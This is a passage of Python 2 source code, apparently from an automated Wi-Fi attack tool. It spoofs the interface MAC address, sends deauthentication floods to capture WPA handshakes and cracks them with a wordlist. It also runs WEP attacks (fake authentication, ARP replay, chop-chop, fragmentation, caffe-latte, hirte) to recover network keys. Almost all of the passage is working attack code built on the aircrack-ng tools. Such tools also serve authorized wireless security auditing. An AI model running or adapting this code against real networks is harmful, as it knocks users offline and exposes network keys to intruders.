match = re.search(' (%s)' % mac_regex, output)
if match:
mac = match.groups()[0].replace('-', ':')
return mac
def generate_random_mac(old_mac):
"""
Generates a random MAC address.
Keeps the same vender (first 6 chars) of the old MAC address (old_mac).
Returns string in format old_mac[0:9] + :XX:XX:XX where X is random hex
"""
random.seed()
new_mac = old_mac[:8].lower().replace('-', ':')
for i in xrange(0, 6):
if i % 2 == 0: new_mac += ':'
new_mac += '0123456789abcdef'[random.randint(0, 15)]
if new_mac == old_mac:
new_mac = generate_random_mac(old_mac)
return new_mac
def mac_anonymize(iface):
"""
Changes MAC address of 'iface' to a random MAC.
Only randomizes the last 6 digits of the MAC, so the vender says the same.
Stores old MAC address and the interface in ORIGINAL_IFACE_MAC
"""
global RUN_CONFIG
if RUN_CONFIG.DO_NOT_CHANGE_MAC: return
if not program_exists('ifconfig'): return
proc = Popen(['ifconfig', iface], stdout=PIPE, stderr=DN)
proc.wait()
for word in proc.communicate()[0].split('\n')[0].split(' '):
if word != '': old_mac = word
RUN_CONFIG.ORIGINAL_IFACE_MAC = (iface, old_mac)
new_mac = generate_random_mac(old_mac)
call(['ifconfig', iface, 'down'])
print GR + " [+]" + W + " changing %s's MAC from %s to %s..." % (G + iface + W, G + old_mac + W, O + new_mac + W),
stdout.flush()
proc = Popen(['ifconfig', iface, 'hw', 'ether', new_mac], stdout=PIPE, stderr=DN)
proc.wait()
call(['ifconfig', iface, 'up'], stdout=DN, stderr=DN)
print 'done'
def mac_change_back():
"""
Changes MAC address back to what it was before attacks began.
"""
global RUN_CONFIG
iface = RUN_CONFIG.ORIGINAL_IFACE_MAC[0]
old_mac = RUN_CONFIG.ORIGINAL_IFACE_MAC[1]
if iface == '' or old_mac == '': return
print GR + " [+]" + W + " changing %s's mac back to %s..." % (G + iface + W, G + old_mac + W),
stdout.flush()
call(['ifconfig', iface, 'down'], stdout=DN, stderr=DN)
proc = Popen(['ifconfig', iface, 'hw', 'ether', old_mac], stdout=PIPE, stderr=DN)
proc.wait()
call(['ifconfig', iface, 'up'], stdout=DN, stderr=DN)
print "done"
def get_essid_from_cap(bssid, capfile):
"""
Attempts to get ESSID from cap file using BSSID as reference.
Returns '' if not found.
"""
if not program_exists('tshark'): return ''
cmd = ['tshark',
'-r', capfile,
'-R', 'wlan.fc.type_subtype == 0x05 && wlan.sa == %s' % bssid,
'-2',
'-n']
proc = Popen(cmd, stdout=PIPE, stderr=DN)
proc.wait()
for line in proc.communicate()[0].split('\n'):
if line.find('SSID=') != -1:
essid = line[line.find('SSID=') + 5:]
print GR + ' [+]' + W + ' guessed essid: %s' % (G + essid + W)
return essid
print R + ' [!]' + O + ' unable to guess essid!' + W
return ''
def get_bssid_from_cap(essid, capfile):
"""
Returns first BSSID of access point found in cap file.
This is not accurate at all, but it's a good guess.
Returns '' if not found.
"""
global RUN_CONFIG
if not program_exists('tshark'): return ''
if essid != '':
cmd = ['tshark',
'-r', capfile,
'-R', 'wlan_mgt.ssid == "%s" && wlan.fc.type_subtype == 0x05' % (essid),
'-2',
'-n',
'-T', 'fields',
'-e', 'wlan.sa']
proc = Popen(cmd, stdout=PIPE, stderr=DN)
proc.wait()
bssid = proc.communicate()[0].split('\n')[0]
if bssid != '': return bssid
cmd = ['tshark',
'-r', capfile,
'-R', 'eapol',
'-2',
'-n']
proc = Popen(cmd, stdout=PIPE, stderr=DN)
proc.wait()
for line in proc.communicate()[0].split('\n'):
if line.endswith('Key (msg 1/4)') or line.endswith('Key (msg 3/4)'):
while line.startswith(' ') or line.startswith('\t'): line = line[1:]
line = line.replace('\t', ' ')
while line.find(' ') != -1: line = line.replace(' ', ' ')
return line.split(' ')[2]
elif line.endswith('Key (msg 2/4)') or line.endswith('Key (msg 4/4)'):
while line.startswith(' ') or line.startswith('\t'): line = line[1:]
line = line.replace('\t', ' ')
while line.find(' ') != -1: line = line.replace(' ', ' ')
return line.split(' ')[4]
return ''
def attack_interrupted_prompt():
"""
Promps user to decide if they want to exit,
skip to cracking WPA handshakes,
or continue attacking the remaining targets (if applicable).
returns True if user chose to exit complete, False otherwise
"""
global RUN_CONFIG
should_we_exit = False
if RUN_CONFIG.TARGETS_REMAINING > 0:
options = ''
print GR + "\n [+] %s%d%s target%s remain%s" % (G, RUN_CONFIG.TARGETS_REMAINING, W,
'' if RUN_CONFIG.TARGETS_REMAINING == 1 else 's',
's' if RUN_CONFIG.TARGETS_REMAINING == 1 else '')
print GR + " [+]" + W + " what do you want to do?"
options += G + 'c' + W
print G + " [c]ontinue" + W + " attacking targets"
if len(RUN_CONFIG.WPA_CAPS_TO_CRACK) > 0:
options += W + ', ' + O + 's' + W
print O + " [s]kip" + W + " to cracking WPA cap files"
options += W + ', or ' + R + 'e' + W
print R + " [e]xit" + W + " completely"
ri = ''
while ri != 'c' and ri != 's' and ri != 'e':
ri = raw_input(GR + ' [+]' + W + ' please make a selection (%s): ' % options)
if ri == 's':
RUN_CONFIG.TARGETS_REMAINING = -1
elif ri == 'e':
should_we_exit = True
return should_we_exit
class Attack(object):
__metaclass__ = abc.ABCMeta
@abc.abstractmethod
def RunAttack(self):
raise NotImplementedError()
@abc.abstractmethod
def EndAttack(self):
raise NotImplementedError()
class WPAAttack(Attack):
def __init__(self, iface, target, clients, config):
self.iface = iface
self.clients = clients
self.target = target
self.RUN_CONFIG = config
def RunAttack(self):
'''
Abstract method for initializing the WPA attack
'''
self.wpa_get_handshake()
def EndAttack(self):
'''
Abstract method for ending the WPA attack
'''
pass
def wpa_get_handshake(self):
"""
Opens an airodump capture on the target, dumping to a file.
During the capture, sends deauthentication packets to the target both as
general deauthentication packets and specific packets aimed at connected clients.
Waits until a handshake is captured.
"iface" - interface to capture on
"target" - Target object containing info on access point
"clients" - List of Client objects associated with the target
Returns True if handshake was found, False otherwise
"""
if self.RUN_CONFIG.WPA_ATTACK_TIMEOUT <= 0: self.RUN_CONFIG.WPA_ATTACK_TIMEOUT = -1
save_as = self.RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep + re.sub(r'[^a-zA-Z0-9]', '', self.target.ssid) \
+ '_' + self.target.bssid.replace(':', '-') + '.cap'
save_index = 0
while os.path.exists(save_as):
save_index += 1
save_as = self.RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep + re.sub(r'[^a-zA-Z0-9]', '', self.target.ssid) \
+ '_' + self.target.bssid.replace(':', '-') \
+ '_' + str(save_index) + '.cap'
file_prefix = os.path.join(self.RUN_CONFIG.temp, 'wpa')
cap_file = file_prefix + '-01.cap'
csv_file = file_prefix + '-01.csv'
remove_airodump_files(file_prefix)
try:
cmd = ['airodump-ng',
'-w', file_prefix,
'-c', self.target.channel,
'--write-interval', '1',
'--bssid', self.target.bssid,
self.iface]
proc_read = Popen(cmd, stdout=DN, stderr=DN)
proc_deauth = None
print ' %s starting %swpa handshake capture%s on "%s"' % \
(GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT) + W, G, W, G + self.target.ssid + W)
got_handshake = False
seconds_running = 0
seconds_since_last_deauth = 0
target_clients = self.clients[:]
client_index = -1
start_time = time.time()
while not got_handshake and (
self.RUN_CONFIG.WPA_ATTACK_TIMEOUT <= 0 or seconds_running < self.RUN_CONFIG.WPA_ATTACK_TIMEOUT):
if proc_read.poll() != None:
print ""
print "airodump-ng exited with status " + str(proc_read.poll())
print ""
break
time.sleep(1)
seconds_since_last_deauth += int(time.time() - start_time - seconds_running)
seconds_running = int(time.time() - start_time)
print " \r",
print ' %s listening for handshake...\r' % \
(GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running) + W),
stdout.flush()
if seconds_since_last_deauth > self.RUN_CONFIG.WPA_DEAUTH_TIMEOUT:
seconds_since_last_deauth = 0
cmd = ['aireplay-ng',
'--ignore-negative-one',
'--deauth',
str(self.RUN_CONFIG.WPA_DEAUTH_COUNT),
'-a', self.target.bssid]
client_index += 1
if client_index == -1 or len(target_clients) == 0 or client_index >= len(target_clients):
print " %s sending %s deauth to %s*broadcast*%s..." % \
(GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running) + W,
G + str(self.RUN_CONFIG.WPA_DEAUTH_COUNT) + W, G, W),
client_index = -1
else:
print " %s sending %s deauth to %s... " % \
(GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running) + W, \
G + str(self.RUN_CONFIG.WPA_DEAUTH_COUNT) + W, \
G + target_clients[client_index].bssid + W),
cmd.append('-c')
cmd.append(target_clients[client_index].bssid)
cmd.append(self.iface)
stdout.flush()
proc_deauth = Popen(cmd, stdout=DN, stderr=DN)
proc_deauth.wait()
print "sent\r",
stdout.flush()
if not os.path.exists(cap_file): continue
temp_cap_file = cap_file + '.temp'
copy(cap_file, temp_cap_file)
if self.has_handshake(self.target, temp_cap_file):
got_handshake = True
try:
os.mkdir(self.RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep)
except OSError:
pass
send_interrupt(proc_read)
send_interrupt(proc_deauth)
rename(temp_cap_file, save_as)
print '\n %s %shandshake captured%s! saved as "%s"' % (
GR + sec_to_hms(seconds_running) + W, G, W, G + save_as + W)
self.RUN_CONFIG.WPA_FINDINGS.append(
'%s (%s) handshake captured' % (self.target.ssid, self.target.bssid))
self.RUN_CONFIG.WPA_FINDINGS.append('saved as %s' % (save_as))
self.RUN_CONFIG.WPA_FINDINGS.append('')
if self.RUN_CONFIG.WPA_STRIP_HANDSHAKE: self.strip_handshake(save_as)
self.RUN_CONFIG.WPA_CAPS_TO_CRACK.append(CapFile(save_as, self.target.ssid, self.target.bssid))
break
os.remove(temp_cap_file)
for client in self.RUN_CONFIG.RUN_ENGINE.parse_csv(csv_file)[1]:
if client.station != self.target.bssid: continue
new_client = True
for c in target_clients:
if client.bssid == c.bssid:
new_client = False
break
if new_client:
print " %s %snew client%s found: %s " % \
(GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running) + W, G, W, \
G + client.bssid + W)
target_clients.append(client)
if not got_handshake:
print R + ' [0:00:00]' + O + ' unable to capture handshake in time' + W
except KeyboardInterrupt:
print R + '\n (^C)' + O + ' WPA handshake capture interrupted' + W
if attack_interrupted_prompt():
remove_airodump_files(file_prefix)
send_interrupt(proc_read)
send_interrupt(proc_deauth)
print ''
self.RUN_CONFIG.exit_gracefully(0)
remove_airodump_files(file_prefix)
send_interrupt(proc_read)
send_interrupt(proc_deauth)
return got_handshake
def has_handshake_tshark(self, target, capfile):
"""
Uses TShark to check for a handshake.
Returns "True" if handshake is found, false otherwise.
"""
if program_exists('tshark'):
cmd = ['tshark',
'-r', capfile,
'-R', 'eapol',
'-2',
'-n']
proc = Popen(cmd, stdout=PIPE, stderr=DN)
proc.wait()
lines = proc.communicate()[0].split('\n')
clients = []
for line in lines:
if line.find('appears to have been cut short') != -1 or line.find(
'Running as user "root"') != -1 or line.strip() == '':
continue
while line.startswith(' '): line = line[1:]
while line.find(' ') != -1: line = line.replace(' ', ' ')
fields = line.split(' ')
if len(fields) < 5:
continue
src = fields[2].lower()
dst = fields[4].lower()
if src == target.bssid.lower() and clients.count(dst) == 0:
clients.append(dst)
elif dst == target.bssid.lower() and clients.count(src) == 0:
clients.append(src)
for client in clients:
msg_num = 1
for line in lines:
if line.find('appears to have been cut short') != -1: continue
if line.find('Running as user "root"') != -1: continue
if line.strip() == '': continue
while line[0] == ' ': line = line[1:]
while line.find(' ') != -1: line = line.replace(' ', ' ')
fields = line.split(' ')
if len(fields) < 8:
continue
elif len(fields) == 8:
fields.append('(msg')
fields.append('3/4)')
src = fields[2].lower()
dst = fields[4].lower()
if len(fields) == 12:
msg = fields[9][0]
else:
msg = fields[-1][0]
if msg_num % 2 == 1 and (src != target.bssid.lower() or dst != client):
continue
elif msg_num % 2 == 0 and (dst != target.bssid.lower() or src != client):
continue
try:
if int(msg) != msg_num: continue
except ValueError:
continue
msg_num += 1
if msg_num >= 4:
return True
return False
def has_handshake_cowpatty(self, target, capfile, nonstrict=True):
"""
Uses cowpatty to check for a handshake.
Returns "True" if handshake is found, false otherwise.
"""
if not program_exists('cowpatty'): return False
cmd = ['cowpatty',
'-r', capfile,
'-s', target.ssid,
'-c']
if nonstrict: cmd.append('-2')
proc = Popen(cmd, stdout=PIPE, stderr=DN)
proc.wait()
response = proc.communicate()[0]
if response.find('incomplete four-way handshake exchange') != -1:
return False
elif response.find('Unsupported or unrecognized pcap file.') != -1:
return False
elif response.find('Unable to open capture file: Success') != -1:
return False
return True
def has_handshake_pyrit(self, target, capfile):
"""
Uses pyrit to check for a handshake.
Returns "True" if handshake is found, false otherwise.
"""
if not program_exists('pyrit'): return False
cmd = ['pyrit',
'-r', capfile,
'analyze']
proc = Popen(cmd, stdout=PIPE, stderr=DN)
proc.wait()
hit_essid = False
for line in proc.communicate()[0].split('\n'):
if line == '' or line == None: continue
if line.find("AccessPoint") != -1:
hit_essid = (line.find("('" + target.ssid + "')") != -1) and \
(line.lower().find(target.bssid.lower()) != -1)
else:
if hit_essid and (line.find(', good, ') != -1 or line.find(', good*, ') != -1 or line.find(', workable, ') != -1):
return True
return False
def has_handshake_aircrack(self, target, capfile):
"""
Uses aircrack-ng to check for handshake.
Returns True if found, False otherwise.
"""
if not program_exists('aircrack-ng'): return False
crack = 'echo "" | aircrack-ng -a 2 -w - -b ' + target.bssid + ' ' + capfile
proc_crack = Popen(crack, stdout=PIPE, stderr=DN, shell=True)
proc_crack.wait()
txt = proc_crack.communicate()[0]
return (txt.find('Passphrase not in dictionary') != -1)
def has_handshake(self, target, capfile):
"""
Checks if .cap file contains a handshake.
Returns True if handshake is found, False otherwise.
"""
valid_handshake = True
tried = False
if self.RUN_CONFIG.WPA_HANDSHAKE_TSHARK:
tried = True
valid_handshake = self.has_handshake_tshark(target, capfile)
if valid_handshake and self.RUN_CONFIG.WPA_HANDSHAKE_COWPATTY:
tried = True
valid_handshake = self.has_handshake_cowpatty(target, capfile)
if valid_handshake and self.RUN_CONFIG.WPA_HANDSHAKE_COWPATTY:
tried = True
valid_handshake = self.has_handshake_cowpatty(target, capfile)
if valid_handshake and self.RUN_CONFIG.WPA_HANDSHAKE_PYRIT:
tried = True
valid_handshake = self.has_handshake_pyrit(target, capfile)
if valid_handshake and self.RUN_CONFIG.WPA_HANDSHAKE_AIRCRACK:
tried = True
valid_handshake = self.has_handshake_aircrack(target, capfile)
if tried: return valid_handshake
print R + ' [!]' + O + ' unable to check for handshake: all handshake options are disabled!'
self.RUN_CONFIG.exit_gracefully(1)
def strip_handshake(self, capfile):
"""
Uses Tshark or Pyrit to strip all non-handshake packets from a .cap file
File in location 'capfile' is overwritten!
"""
output_file = capfile
if program_exists('pyrit'):
cmd = ['pyrit',
'-r', capfile,
'-o', capfile + '.temp',
'stripLive']
call(cmd, stdout=DN, stderr=DN)
if os.path.exists(capfile + '.temp'):
rename(capfile + '.temp', output_file)
elif program_exists('tshark'):
cmd = ['tshark',
'-r', capfile,
'-R', 'eapol || wlan_mgt.tag.interpretation',
'-2',
'-w', capfile + '.temp']
proc_strip = call(cmd, stdout=DN, stderr=DN)
rename(capfile + '.temp', output_file)
else:
print R + " [!]" + O + " unable to strip .cap file: neither pyrit nor tshark were found" + W
def wpa_crack(capfile, RUN_CONFIG):
"""
Cracks cap file using aircrack-ng
This is crude and slow. If people want to crack using pyrit or cowpatty or oclhashcat,
they can do so manually.
"""
if RUN_CONFIG.WPA_DICTIONARY == '':
print R + ' [!]' + O + ' no WPA dictionary found! use -dict <file> command-line argument' + W
return False
print GR + ' [0:00:00]' + W + ' cracking %s with %s' % (G + capfile.ssid + W, G + 'aircrack-ng' + W)
start_time = time.time()
cracked = False
remove_file(RUN_CONFIG.temp + 'out.out')
remove_file(RUN_CONFIG.temp + 'wpakey.txt')
cmd = ['aircrack-ng',
'-a', '2',
'-w', RUN_CONFIG.WPA_DICTIONARY,
'-l', RUN_CONFIG.temp + 'wpakey.txt',
'-b', capfile.bssid,
capfile.filename]
proc = Popen(cmd, stdout=open(RUN_CONFIG.temp + 'out.out', 'a'), stderr=DN)
try:
kt = 0
kps = 0
while True:
time.sleep(1)
if proc.poll() != None:
if os.path.exists(RUN_CONFIG.temp + 'wpakey.txt'):
inf = open(RUN_CONFIG.temp + 'wpakey.txt')
key = inf.read().strip()
inf.close()
RUN_CONFIG.WPA_FINDINGS.append('cracked wpa key for "%s" (%s): "%s"' % (
G + capfile.ssid + W, G + capfile.bssid + W, C + key + W))
RUN_CONFIG.WPA_FINDINGS.append('')
t = Target(capfile.bssid, 0, 0, 0, 'WPA', capfile.ssid)
t.key = key
RUN_CONFIG.save_cracked(t)
print GR + '\n [+]' + W + ' cracked %s (%s)!' % (G + capfile.ssid + W, G + capfile.bssid + W)
print GR + ' [+]' + W + ' key: "%s"\n' % (C + key + W)
cracked = True
else:
print R + '\n [!]' + R + 'crack attempt failed' + O + ': passphrase not in dictionary' + W
break
inf = open(RUN_CONFIG.temp + 'out.out', 'r')
lines = inf.read().split('\n')
inf.close()
outf = open(RUN_CONFIG.temp + 'out.out', 'w')
outf.close()
for line in lines:
i = line.find(']')
j = line.find('keys tested', i)
if i != -1 and j != -1:
kts = line[i + 2:j - 1]
try:
kt = int(kts)
except ValueError:
pass
i = line.find('(')
j = line.find('k/s)', i)
if i != -1 and j != -1:
kpss = line[i + 1:j - 1]
try:
kps = float(kpss)
except ValueError:
pass
print "\r %s %s keys tested (%s%.2f keys/sec%s) " % \
(GR + sec_to_hms(time.time() - start_time) + W, G + add_commas(kt) + W, G, kps, W),
stdout.flush()
except KeyboardInterrupt:
print R + '\n (^C)' + O + ' WPA cracking interrupted' + W
send_interrupt(proc)
try:
os.kill(proc.pid, SIGTERM)
except OSError:
pass
return cracked
def add_commas(n):
"""
Receives integer n, returns string representation of n with commas in thousands place.
I'm sure there's easier ways of doing this... but meh.
"""
strn = str(n)
lenn = len(strn)
i = 0
result = ''
while i < lenn:
if (lenn - i) % 3 == 0 and i != 0: result += ','
result += strn[i]
i += 1
return result
class WEPAttack(Attack):
def __init__(self, iface, target, clients, config):
self.iface = iface
self.target = target
self.clients = clients
self.RUN_CONFIG = config
def RunAttack(self):
'''
Abstract method for dispatching the WEP crack
'''
self.attack_wep()
def EndAttack(self):
'''
Abstract method for ending the WEP attack
'''
pass
def attack_wep(self):
"""
Attacks WEP-encrypted network.
Returns True if key was successfully found, False otherwise.
"""
if self.RUN_CONFIG.WEP_TIMEOUT <= 0: self.RUN_CONFIG.WEP_TIMEOUT = -1
total_attacks = 6
if not self.RUN_CONFIG.WEP_ARP_REPLAY: total_attacks -= 1
if not self.RUN_CONFIG.WEP_CHOPCHOP: total_attacks -= 1
if not self.RUN_CONFIG.WEP_FRAGMENT: total_attacks -= 1
if not self.RUN_CONFIG.WEP_CAFFELATTE: total_attacks -= 1
if not self.RUN_CONFIG.WEP_P0841: total_attacks -= 1
if not self.RUN_CONFIG.WEP_HIRTE: total_attacks -= 1
if total_attacks <= 0:
print R + ' [!]' + O + ' unable to initiate WEP attacks: no attacks are selected!'
return False
remaining_attacks = total_attacks
print ' %s preparing attack "%s" (%s)' % \
(GR + sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT) + W, G + self.target.ssid + W, G + self.target.bssid + W)
file_prefix = os.path.join(self.RUN_CONFIG.temp, 'wep')
wepkey_file = os.path.join(self.RUN_CONFIG.temp, 'wepkey.txt')
csv_file = file_prefix + '-01.csv'
cap_file = file_prefix + '-01.cap'
remove_airodump_files(file_prefix)
remove_file(wepkey_file)
cmd_airodump = ['airodump-ng',
'-w', file_prefix,
'-c', self.target.channel,
'--write-interval', '1',
'--bssid', self.target.bssid,
self.iface]
proc_airodump = Popen(cmd_airodump, stdout=DN, stderr=DN)
proc_aireplay = None
proc_aircrack = None
successful = False
started_cracking = False
client_mac = ''
total_ivs = 0
ivs = 0
last_ivs = 0
for attack_num in xrange(0, 6):
if attack_num == 0 and not self.RUN_CONFIG.WEP_ARP_REPLAY:
continue
elif attack_num == 1 and not self.RUN_CONFIG.WEP_CHOPCHOP:
continue
elif attack_num == 2 and not self.RUN_CONFIG.WEP_FRAGMENT:
continue
elif attack_num == 3 and not self.RUN_CONFIG.WEP_CAFFELATTE:
continue
elif attack_num == 4 and not self.RUN_CONFIG.WEP_P0841:
continue
elif attack_num == 5 and not self.RUN_CONFIG.WEP_HIRTE:
continue
remaining_attacks -= 1
try:
if self.wep_fake_auth(self.iface, self.target, sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT)):
client_mac = self.RUN_CONFIG.THIS_MAC
elif not self.RUN_CONFIG.WEP_IGNORE_FAKEAUTH:
send_interrupt(proc_aireplay)
send_interrupt(proc_airodump)
print R + ' [!]' + O + ' unable to fake-authenticate with target'
print R + ' [!]' + O + ' to skip this speed bump, select "ignore-fake-auth" at command-line'
return False
remove_file(os.path.join(self.RUN_CONFIG.temp, 'arp.cap'))
cmd = self.get_aireplay_command(self.iface, attack_num, self.target, self.clients, client_mac)
if cmd == '': continue
if proc_aireplay != None:
send_interrupt(proc_aireplay)
proc_aireplay = Popen(cmd, stdout=PIPE, stderr=PIPE)
print '\r %s attacking "%s" via' % (
GR + sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT) + W, G + self.target.ssid + W),
if attack_num == 0:
print G + 'arp-replay',
elif attack_num == 1:
print G + 'chop-chop',
elif attack_num == 2:
print G + 'fragmentation',
elif attack_num == 3:
print G + 'caffe-latte',
elif attack_num == 4:
print G + 'p0841',
elif attack_num == 5:
print G + 'hirte',
print 'attack' + W
print ' %s captured %s%d%s ivs @ %s iv/sec' % (
GR + sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT) + W, G, total_ivs, W, G + '0' + W),
stdout.flush()
time.sleep(1)
if attack_num == 1:
self.wep_send_deauths(self.iface, self.target, self.clients)
last_deauth = time.time()
replaying = False
time_started = time.time()
while time.time() - time_started < self.RUN_CONFIG.WEP_TIMEOUT:
if self.RUN_CONFIG.WEP_TIMEOUT == -1:
current_hms = "[endless]"
else:
current_hms = sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT - (time.time() - time_started))
print "\r %s\r" % (GR + current_hms + W),
stdout.flush()
time.sleep(1)
csv = self.RUN_CONFIG.RUN_ENGINE.parse_csv(csv_file)[0]
if len(csv) > 0:
ivs = int(csv[0].data)
print "\r ",
print "\r %s captured %s%d%s ivs @ %s%d%s iv/sec" % \
(GR + current_hms + W, G, total_ivs + ivs, W, G, (ivs - last_ivs), W),
if ivs - last_ivs == 0 and time.time() - last_deauth > 30:
print "\r %s deauthing to generate packets..." % (GR + current_hms + W),
self.wep_send_deauths(self.iface, self.target, self.clients)
print "done\r",
last_deauth = time.time()
last_ivs = ivs
stdout.flush()
if total_ivs + ivs >= self.RUN_CONFIG.WEP_CRACK_AT_IVS and not started_cracking:
cmd = ['aircrack-ng',
'-a', '1',
'-l', wepkey_file]
for f in os.listdir(self.RUN_CONFIG.temp):
if f.startswith('wep-') and f.endswith('.cap'):
cmd.append(os.path.join(self.RUN_CONFIG.temp, f))
print "\r %s started %s (%sover %d ivs%s)" % (
GR + current_hms + W, G + 'cracking' + W, G, self.RUN_CONFIG.WEP_CRACK_AT_IVS, W)
proc_aircrack = Popen(cmd, stdout=DN, stderr=DN)
started_cracking = True
if os.path.exists(wepkey_file):
infile = open(wepkey_file, 'r')
key = infile.read().replace('\n', '')
infile.close()
print '\n\n %s %s %s (%s)! key: "%s"' % (
current_hms, G + 'cracked', self.target.ssid + W, G + self.target.bssid + W, C + key + W)
self.RUN_CONFIG.WEP_FINDINGS.append(
'cracked %s (%s), key: "%s"' % (self.target.ssid, self.target.bssid, key))
self.RUN_CONFIG.WEP_FINDINGS.append('')
t = Target(self.target.bssid, 0, 0, 0, 'WEP', self.target.ssid)
t.key = key
self.RUN_CONFIG.save_cracked(t)
send_interrupt(proc_airodump)
send_interrupt(proc_aireplay)
try:
os.kill(proc_aireplay, SIGTERM)
except:
pass
send_interrupt(proc_aircrack)
time.sleep(0.5)
remove_airodump_files(file_prefix)
remove_file(wepkey_file)
return True
if proc_aireplay.poll() == None:
if replaying:
print ', ' + G + 'replaying \r' + W,
elif attack_num == 1 or attack_num == 2:
print ', waiting for packet \r',
stdout.flush()
continue
if attack_num != 1 and attack_num != 2:
print '\r %s attack failed: %saireplay-ng exited unexpectedly%s' % (R + current_hms, O, W)
(sout, serr) = proc_aireplay.communicate()
break
xor_file = ''
for filename in sorted(os.listdir(self.RUN_CONFIG.temp)):
if filename.lower().endswith('.xor'):
xor_file = os.path.join(self.RUN_CONFIG.temp, filename)
if xor_file == '':
print '\r %s attack failed: %sunable to generate keystream %s' % (R + current_hms, O, W)
break
remove_file(os.path.join(self.RUN_CONFIG.temp, 'arp.cap'))
cmd = ['packetforge-ng',
'-0',
'-a', self.target.bssid,
'-h', client_mac,
'-k', '192.168.1.2',
'-l', '192.168.1.100',
'-y', xor_file,
'-w', os.path.join(self.RUN_CONFIG.temp, 'arp.cap'),
self.iface]
proc_pforge = Popen(cmd, stdout=PIPE, stderr=DN)
proc_pforge.wait()
forged_packet = proc_pforge.communicate()[0]
remove_file(xor_file)
if forged_packet == None: result = ''
forged_packet = forged_packet.strip()
if not forged_packet.find('Wrote packet'):
print "\r %s attack failed: unable to forget ARP packet %s" % (
R + current_hms + O, W)
break
cmd = ['aireplay-ng',
'--ignore-negative-one',
'--arpreplay',
'-b', self.target.bssid,
'-r', os.path.join(self.RUN_CONFIG.temp, 'arp.cap'),
'-F',
self.iface]
proc_aireplay = Popen(cmd, stdout=DN, stderr=DN)
print '\r %s forged %s! %s... ' % (
GR + current_hms + W, G + 'arp packet' + W, G + 'replaying' + W)
replaying = True
while started_cracking:
time.sleep(1)
csv = self.RUN_CONFIG.RUN_ENGINE.parse_csv(csv_file)[0]
if len(csv) > 0:
ivs = int(csv[0].data)
print GR + " [endless]" + W + " captured %s%d%s ivs, iv/sec: %s%d%s \r" % \
(G, total_ivs + ivs, W, G, (ivs - last_ivs), W),
last_ivs = ivs
stdout.flush()
if os.path.exists(wepkey_file):
infile = open(wepkey_file, 'r')
key = infile.read().replace('\n', '')
infile.close()
print GR + '\n\n [endless] %s %s (%s)! key: "%s"' % (
G + 'cracked', self.target.ssid + W, G + self.target.bssid + W, C + key + W)
self.RUN_CONFIG.WEP_FINDINGS.append(
'cracked %s (%s), key: "%s"' % (self.target.ssid, self.target.bssid, key))
self.RUN_CONFIG.WEP_FINDINGS.append('')
t = Target(self.target.bssid, 0, 0, 0, 'WEP', self.target.ssid)
t.key = key
self.RUN_CONFIG.save_cracked(t)
send_interrupt(proc_airodump)
send_interrupt(proc_aireplay)
send_interrupt(proc_aircrack)
remove_airodump_files(file_prefix)
remove_file(wepkey_file)
return True
except KeyboardInterrupt:
print R + '\n (^C)' + O + ' WEP attack interrupted\n' + W
send_interrupt(proc_airodump)
if proc_aireplay != None:
send_interrupt(proc_aireplay)
if proc_aircrack != None:
send_interrupt(proc_aircrack)
options = []
selections = []
if remaining_attacks > 0:
options.append('%scontinue%s attacking this target (%d remaining WEP attack%s)' % \
(G, W, (remaining_attacks), 's' if remaining_attacks != 1 else ''))
selections.append(G + 'c' + W)
if self.RUN_CONFIG.TARGETS_REMAINING > 0:
options.append('%sskip%s this target, move onto next target (%d remaining target%s)' % \
(O, W, self.RUN_CONFIG.TARGETS_REMAINING,
's' if self.RUN_CONFIG.TARGETS_REMAINING != 1 else ''))
selections.append(O + 's' + W)
options.append('%sexit%s the program completely' % (R, W))
selections.append(R + 'e' + W)
if len(options) > 1:
print GR + ' [+]' + W + ' what do you want to do?'
response = ''
while response != 'c' and response != 's' and response != 'e':
for option in options:
print ' %s' % option
response = raw_input(
GR + ' [+]' + W + ' please make a selection (%s): ' % (', '.join(selections))).lower()[0]
else:
response = 'e'
if response == 'e' or response == 's':
if self.RUN_CONFIG.WEP_SAVE:
save_as = re.sub(r'[^a-zA-Z0-9]', '', self.target.ssid) + '_' + self.target.bssid.replace(':',
'-') + '.cap' + W
try:
rename(cap_file, save_as)
except OSError:
print R + ' [!]' + O + ' unable to save capture file!' + W
else:
print GR + ' [+]' + W + ' packet capture ' + G + 'saved' + W + ' to ' + G + save_as + W
for filename in os.listdir('.'):
if filename.startswith('replay_arp-') and filename.endswith('.cap'):
remove_file(filename)
remove_airodump_files(file_prefix)
remove_file(wepkey_file)
print ''
if response == 'e':
self.RUN_CONFIG.exit_gracefully(0)
return
elif response == 'c':
i = 2
while os.path.exists(os.path.join(self.RUN_CONFIG.temp, 'wep-' + str(i) + '.cap')):
i += 1
new_cap_file = os.path.join(self.RUN_CONFIG.temp, 'wep-' + str(i) + '.cap')
copy(cap_file, new_cap_file)
remove_airodump_files(file_prefix)
proc_airodump = Popen(cmd_airodump, stdout=DN, stderr=DN)
started_cracking = False
total_ivs += ivs
ivs = 0
last_ivs = 0
pass
if successful:
print GR + '\n [0:00:00]' + W + ' attack complete: ' + G + 'success!' + W
else:
print GR + '\n [0:00:00]' + W + ' attack complete: ' + R + 'failure' + W
send_interrupt(proc_airodump)
if proc_aireplay != None:
send_interrupt(proc_aireplay)
for filename in os.listdir('.'):
if filename.startswith('replay_arp-') and filename.endswith('.cap'):
remove_file(filename)
remove_airodump_files(file_prefix)
remove_file(wepkey_file)
def wep_fake_auth(self, iface, target, time_to_display):
"""
Attempt to (falsely) authenticate with a WEP access point.
Gives 3 seconds to make each 5 authentication attempts.
Returns True if authentication was successful, False otherwise.
"""
max_wait = 3
max_attempts = 5
for fa_index in xrange(1, max_attempts + 1):
print '\r ',
print '\r %s attempting %sfake authentication%s (%d/%d)... ' % \
(GR + time_to_display + W, G, W, fa_index, max_attempts),
